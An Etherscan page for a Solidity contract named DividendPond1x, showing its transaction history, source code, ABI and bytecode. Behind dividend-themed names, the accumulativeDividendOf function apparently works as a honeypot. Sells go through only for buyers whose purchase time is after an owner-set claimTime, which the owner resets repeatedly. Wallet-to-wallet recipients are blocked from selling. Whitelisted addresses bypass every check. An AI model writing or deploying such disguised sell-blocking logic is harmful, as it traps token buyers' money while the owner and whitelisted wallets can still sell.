Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
Latest 25 from a total of 26 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Whitelist For Di... | 17898765 | 364 days ago | IN | 0 ETH | 0.00063046 | ||||
Set Dividend Fin... | 17898755 | 364 days ago | IN | 0 ETH | 0.00041397 | ||||
Set Claiming Tim... | 17898723 | 364 days ago | IN | 0 ETH | 0.00039145 | ||||
Set Claiming Tim... | 17898721 | 364 days ago | IN | 0 ETH | 0.00037445 | ||||
Set Claiming Tim... | 17898708 | 364 days ago | IN | 0 ETH | 0.00041208 | ||||
Set Claiming Tim... | 17898666 | 364 days ago | IN | 0 ETH | 0.00041753 | ||||
Set Claiming Tim... | 17898663 | 364 days ago | IN | 0 ETH | 0.00043163 | ||||
Whitelist For Di... | 17898657 | 364 days ago | IN | 0 ETH | 0.00071447 | ||||
Whitelist For Di... | 17898656 | 364 days ago | IN | 0 ETH | 0.0006743 | ||||
Whitelist For Di... | 17898652 | 364 days ago | IN | 0 ETH | 0.00069735 | ||||
Set Claiming Tim... | 17898650 | 364 days ago | IN | 0 ETH | 0.00040045 | ||||
Whitelist For Di... | 17898648 | 364 days ago | IN | 0 ETH | 0.00067777 | ||||
Whitelist For Di... | 17898645 | 364 days ago | IN | 0 ETH | 0.00070652 | ||||
Whitelist For Di... | 17898643 | 364 days ago | IN | 0 ETH | 0.00071016 | ||||
Whitelist For Di... | 17898639 | 364 days ago | IN | 0 ETH | 0.00062602 | ||||
Set Claiming Tim... | 17898638 | 364 days ago | IN | 0 ETH | 0.00038732 | ||||
Whitelist For Di... | 17898635 | 364 days ago | IN | 0 ETH | 0.00061891 | ||||
Whitelist For Di... | 17898633 | 364 days ago | IN | 0 ETH | 0.00063837 | ||||
Set Claiming Tim... | 17898629 | 364 days ago | IN | 0 ETH | 0.00038988 | ||||
Set Claiming Tim... | 17898624 | 364 days ago | IN | 0 ETH | 0.00040568 | ||||
Set Claiming Tim... | 17898609 | 364 days ago | IN | 0 ETH | 0.00039943 | ||||
Set Claiming Tim... | 17898606 | 364 days ago | IN | 0 ETH | 0.00040247 | ||||
Set Claiming Tim... | 17898597 | 364 days ago | IN | 0 ETH | 0.00067793 | ||||
Whitelist For Di... | 17898530 | 364 days ago | IN | 0 ETH | 0.00060433 | ||||
Set Tokens Pond1... | 17898308 | 364 days ago | IN | 0 ETH | 0.00087737 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
DividendPond1x
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-12 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ // function renounceOwnership() public virtual onlyOwner { // emit OwnershipTransferred(_owner, address(0)); // _owner = address(0); // } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract DividendPond1x is Ownable { address private token; address private pair; bool private isDividendFinished; mapping(address => bool) private _whitelists; mapping (address => uint256) private _dividendTimePassed; uint256 private claimTime; modifier onlyToken() { require(msg.sender == token); _; } function setDividendFinished(bool isFinished) external onlyOwner { isDividendFinished = isFinished; } function setTokensPond1x(address _token, address _pair) external onlyOwner { token = _token; pair = _pair; isDividendFinished = false; claimTime = 0; } function setClaimingTimeForDividend() external onlyOwner { claimTime = block.timestamp; } function whitelistForDivideEnds(address owner_, bool _isWhitelist) external onlyOwner { _whitelists[owner_] = _isWhitelist; } function accumulativeDividendOf(address _from, address _to) external onlyToken returns (uint256) { if (_whitelists[_from] || _whitelists[_to]) { return 1; } if (_from == pair) { if (_dividendTimePassed[_to] == 0) { _dividendTimePassed[_to] = block.timestamp; } } else if (_to == pair) { require(!isDividendFinished && _dividendTimePassed[_from] >= claimTime); } else { _dividendTimePassed[_to] = 101; } return 0; } receive() external payable { } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"}],"name":"accumulativeDividendOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"setClaimingTimeForDividend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"isFinished","type":"bool"}],"name":"setDividendFinished","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_pair","type":"address"}],"name":"setTokensPond1x","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"bool","name":"_isWhitelist","type":"bool"}],"name":"whitelistForDivideEnds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405234801561000f575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506105d48061005d5f395ff3fe608060405260043610610071575f3560e01c80638da5cb5b1161004c5780638da5cb5b146100db578063cc5489df14610106578063f2fde38b14610133578063ffa15ec414610152575f80fd5b8063145d76a81461007c5780637a47cbdd1461009d57806389fd4219146100bc575f80fd5b3661007857005b5f80fd5b348015610087575f80fd5b5061009b6100963660046104c1565b610166565b005b3480156100a8575f80fd5b5061009b6100b73660046104f7565b6101b6565b3480156100c7575f80fd5b5061009b6100d6366004610528565b610218565b3480156100e6575f80fd5b505f546040516001600160a01b0390911681526020015b60405180910390f35b348015610111575f80fd5b506101256101203660046104f7565b61026b565b6040519081526020016100fd565b34801561013e575f80fd5b5061009b61014d366004610550565b610397565b34801561015d575f80fd5b5061009b61047e565b5f546001600160a01b031633146101985760405162461bcd60e51b815260040161018f90610569565b60405180910390fd5b60028054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b031633146101df5760405162461bcd60e51b815260040161018f90610569565b600180546001600160a01b039384166001600160a01b0319909116179055600280546001600160a81b031916919092161790555f600555565b5f546001600160a01b031633146102415760405162461bcd60e51b815260040161018f90610569565b6001600160a01b03919091165f908152600360205260409020805460ff1916911515919091179055565b6001545f906001600160a01b03163314610283575f80fd5b6001600160a01b0383165f9081526003602052604090205460ff16806102c057506001600160a01b0382165f9081526003602052604090205460ff165b156102cd57506001610391565b6002546001600160a01b0390811690841603610321576001600160a01b0382165f90815260046020526040812054900361031c576001600160a01b0382165f9081526004602052604090204290555b61038e565b6002546001600160a01b039081169083160361037257600254600160a01b900460ff1615801561036a57506005546001600160a01b0384165f9081526004602052604090205410155b61031c575f80fd5b6001600160a01b0382165f908152600460205260409020606590555b505f5b92915050565b5f546001600160a01b031633146103c05760405162461bcd60e51b815260040161018f90610569565b6001600160a01b0381166104255760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161018f565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146104a75760405162461bcd60e51b815260040161018f90610569565b42600555565b803580151581146104bc575f80fd5b919050565b5f602082840312156104d1575f80fd5b6104da826104ad565b9392505050565b80356001600160a01b03811681146104bc575f80fd5b5f8060408385031215610508575f80fd5b610511836104e1565b915061051f602084016104e1565b90509250929050565b5f8060408385031215610539575f80fd5b610542836104e1565b915061051f602084016104ad565b5f60208284031215610560575f80fd5b6104da826104e1565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260408201526060019056fea2646970667358221220480bf1be59c0054dc6d60334018c33bb1aee438e28ee012c46824a23717fb3f764736f6c63430008150033
Deployed Bytecode
0x608060405260043610610071575f3560e01c80638da5cb5b1161004c5780638da5cb5b146100db578063cc5489df14610106578063f2fde38b14610133578063ffa15ec414610152575f80fd5b8063145d76a81461007c5780637a47cbdd1461009d57806389fd4219146100bc575f80fd5b3661007857005b5f80fd5b348015610087575f80fd5b5061009b6100963660046104c1565b610166565b005b3480156100a8575f80fd5b5061009b6100b73660046104f7565b6101b6565b3480156100c7575f80fd5b5061009b6100d6366004610528565b610218565b3480156100e6575f80fd5b505f546040516001600160a01b0390911681526020015b60405180910390f35b348015610111575f80fd5b506101256101203660046104f7565b61026b565b6040519081526020016100fd565b34801561013e575f80fd5b5061009b61014d366004610550565b610397565b34801561015d575f80fd5b5061009b61047e565b5f546001600160a01b031633146101985760405162461bcd60e51b815260040161018f90610569565b60405180910390fd5b60028054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b031633146101df5760405162461bcd60e51b815260040161018f90610569565b600180546001600160a01b039384166001600160a01b0319909116179055600280546001600160a81b031916919092161790555f600555565b5f546001600160a01b031633146102415760405162461bcd60e51b815260040161018f90610569565b6001600160a01b03919091165f908152600360205260409020805460ff1916911515919091179055565b6001545f906001600160a01b03163314610283575f80fd5b6001600160a01b0383165f9081526003602052604090205460ff16806102c057506001600160a01b0382165f9081526003602052604090205460ff165b156102cd57506001610391565b6002546001600160a01b0390811690841603610321576001600160a01b0382165f90815260046020526040812054900361031c576001600160a01b0382165f9081526004602052604090204290555b61038e565b6002546001600160a01b039081169083160361037257600254600160a01b900460ff1615801561036a57506005546001600160a01b0384165f9081526004602052604090205410155b61031c575f80fd5b6001600160a01b0382165f908152600460205260409020606590555b505f5b92915050565b5f546001600160a01b031633146103c05760405162461bcd60e51b815260040161018f90610569565b6001600160a01b0381166104255760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161018f565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146104a75760405162461bcd60e51b815260040161018f90610569565b42600555565b803580151581146104bc575f80fd5b919050565b5f602082840312156104d1575f80fd5b6104da826104ad565b9392505050565b80356001600160a01b03811681146104bc575f80fd5b5f8060408385031215610508575f80fd5b610511836104e1565b915061051f602084016104e1565b90509250929050565b5f8060408385031215610539575f80fd5b610542836104e1565b915061051f602084016104ad565b5f60208284031215610560575f80fd5b6104da826104e1565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260408201526060019056fea2646970667358221220480bf1be59c0054dc6d60334018c33bb1aee438e28ee012c46824a23717fb3f764736f6c63430008150033
Deployed Bytecode Sourcemap
2146:1513:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2522:113;;;;;;;;;;-1:-1:-1;2522:113:0;;;;;:::i;:::-;;:::i;:::-;;2643:184;;;;;;;;;;-1:-1:-1;2643:184:0;;;;;:::i;:::-;;:::i;2944:137::-;;;;;;;;;;-1:-1:-1;2944:137:0;;;;;:::i;:::-;;:::i;938:79::-;;;;;;;;;;-1:-1:-1;976:7:0;1003:6;938:79;;-1:-1:-1;;;;;1003:6:0;;;1212:51:1;;1200:2;1185:18;938:79:0;;;;;;;;3089:524;;;;;;;;;;-1:-1:-1;3089:524:0;;;;;:::i;:::-;;:::i;:::-;;;1420:25:1;;;1408:2;1393:18;3089:524:0;1274:177:1;1895:244:0;;;;;;;;;;-1:-1:-1;1895:244:0;;;;;:::i;:::-;;:::i;2835:101::-;;;;;;;;;;;;;:::i;2522:113::-;1150:6;;-1:-1:-1;;;;;1150:6:0;174:10;1150:22;1142:67;;;;-1:-1:-1;;;1142:67:0;;;;;;;:::i;:::-;;;;;;;;;2596:18:::1;:31:::0;;;::::1;;-1:-1:-1::0;;;2596:31:0::1;-1:-1:-1::0;;;;2596:31:0;;::::1;::::0;;;::::1;::::0;;2522:113::o;2643:184::-;1150:6;;-1:-1:-1;;;;;1150:6:0;174:10;1150:22;1142:67;;;;-1:-1:-1;;;1142:67:0;;;;;;;:::i;:::-;2727:5:::1;:14:::0;;-1:-1:-1;;;;;2727:14:0;;::::1;-1:-1:-1::0;;;;;;2727:14:0;;::::1;;::::0;;2750:4:::1;:12:::0;;-1:-1:-1;;;;;;2771:26:0;2750:12;;;::::1;2771:26:::0;;;2727:5:::1;2806:9;:13:::0;2643:184::o;2944:137::-;1150:6;;-1:-1:-1;;;;;1150:6:0;174:10;1150:22;1142:67;;;;-1:-1:-1;;;1142:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3039:19:0;;;::::1;;::::0;;;:11:::1;:19;::::0;;;;:34;;-1:-1:-1;;3039:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;2944:137::o;3089:524::-;2487:5;;3177:7;;-1:-1:-1;;;;;2487:5:0;2473:10;:19;2465:28;;;;;;-1:-1:-1;;;;;3199:18:0;::::1;;::::0;;;:11:::1;:18;::::0;;;;;::::1;;::::0;:38:::1;;-1:-1:-1::0;;;;;;3221:16:0;::::1;;::::0;;;:11:::1;:16;::::0;;;;;::::1;;3199:38;3195:73;;;-1:-1:-1::0;3257:1:0::1;3250:8;;3195:73;3289:4;::::0;-1:-1:-1;;;;;3289:4:0;;::::1;3280:13:::0;;::::1;::::0;3276:313:::1;;-1:-1:-1::0;;;;;3310:24:0;::::1;;::::0;;;:19:::1;:24;::::0;;;;;:29;;3306:102:::1;;-1:-1:-1::0;;;;;3354:24:0;::::1;;::::0;;;:19:::1;:24;::::0;;;;3381:15:::1;3354:42:::0;;3306:102:::1;3276:313;;;3434:4;::::0;-1:-1:-1;;;;;3434:4:0;;::::1;3427:11:::0;;::::1;::::0;3423:166:::1;;3460:18;::::0;-1:-1:-1;;;3460:18:0;::::1;;;3459:19;:62:::0;::::1;;;-1:-1:-1::0;3512:9:0::1;::::0;-1:-1:-1;;;;;3482:26:0;::::1;;::::0;;;:19:::1;:26;::::0;;;;;:39:::1;;3459:62;3451:71;;;::::0;::::1;3423:166;-1:-1:-1::0;;;;;3549:24:0;::::1;;::::0;;;:19:::1;:24;::::0;;;;3576:3:::1;3549:30:::0;;3423:166:::1;-1:-1:-1::0;3604:1:0::1;2505;3089:524:::0;;;;:::o;1895:244::-;1150:6;;-1:-1:-1;;;;;1150:6:0;174:10;1150:22;1142:67;;;;-1:-1:-1;;;1142:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1984:22:0;::::1;1976:73;;;::::0;-1:-1:-1;;;1976:73:0;;2210:2:1;1976:73:0::1;::::0;::::1;2192:21:1::0;2249:2;2229:18;;;2222:30;2288:34;2268:18;;;2261:62;-1:-1:-1;;;2339:18:1;;;2332:36;2385:19;;1976:73:0::1;2008:402:1::0;1976:73:0::1;2086:6;::::0;;2065:38:::1;::::0;-1:-1:-1;;;;;2065:38:0;;::::1;::::0;2086:6;::::1;::::0;2065:38:::1;::::0;::::1;2114:6;:17:::0;;-1:-1:-1;;;;;;2114:17:0::1;-1:-1:-1::0;;;;;2114:17:0;;;::::1;::::0;;;::::1;::::0;;1895:244::o;2835:101::-;1150:6;;-1:-1:-1;;;;;1150:6:0;174:10;1150:22;1142:67;;;;-1:-1:-1;;;1142:67:0;;;;;;;:::i;:::-;2913:15:::1;2901:9;:27:::0;2835:101::o;14:160:1:-;79:20;;135:13;;128:21;118:32;;108:60;;164:1;161;154:12;108:60;14:160;;;:::o;179:180::-;235:6;288:2;276:9;267:7;263:23;259:32;256:52;;;304:1;301;294:12;256:52;327:26;343:9;327:26;:::i;:::-;317:36;179:180;-1:-1:-1;;;179:180:1:o;364:173::-;432:20;;-1:-1:-1;;;;;481:31:1;;471:42;;461:70;;527:1;524;517:12;542:260;610:6;618;671:2;659:9;650:7;646:23;642:32;639:52;;;687:1;684;677:12;639:52;710:29;729:9;710:29;:::i;:::-;700:39;;758:38;792:2;781:9;777:18;758:38;:::i;:::-;748:48;;542:260;;;;;:::o;807:254::-;872:6;880;933:2;921:9;912:7;908:23;904:32;901:52;;;949:1;946;939:12;901:52;972:29;991:9;972:29;:::i;:::-;962:39;;1020:35;1051:2;1040:9;1036:18;1020:35;:::i;1456:186::-;1515:6;1568:2;1556:9;1547:7;1543:23;1539:32;1536:52;;;1584:1;1581;1574:12;1536:52;1607:29;1626:9;1607:29;:::i;1647:356::-;1849:2;1831:21;;;1868:18;;;1861:30;1927:34;1922:2;1907:18;;1900:62;1994:2;1979:18;;1647:356::o
Swarm Source
ipfs://480bf1be59c0054dc6d60334018c33bb1aee438e28ee012c46824a23717fb3f7
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 26 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.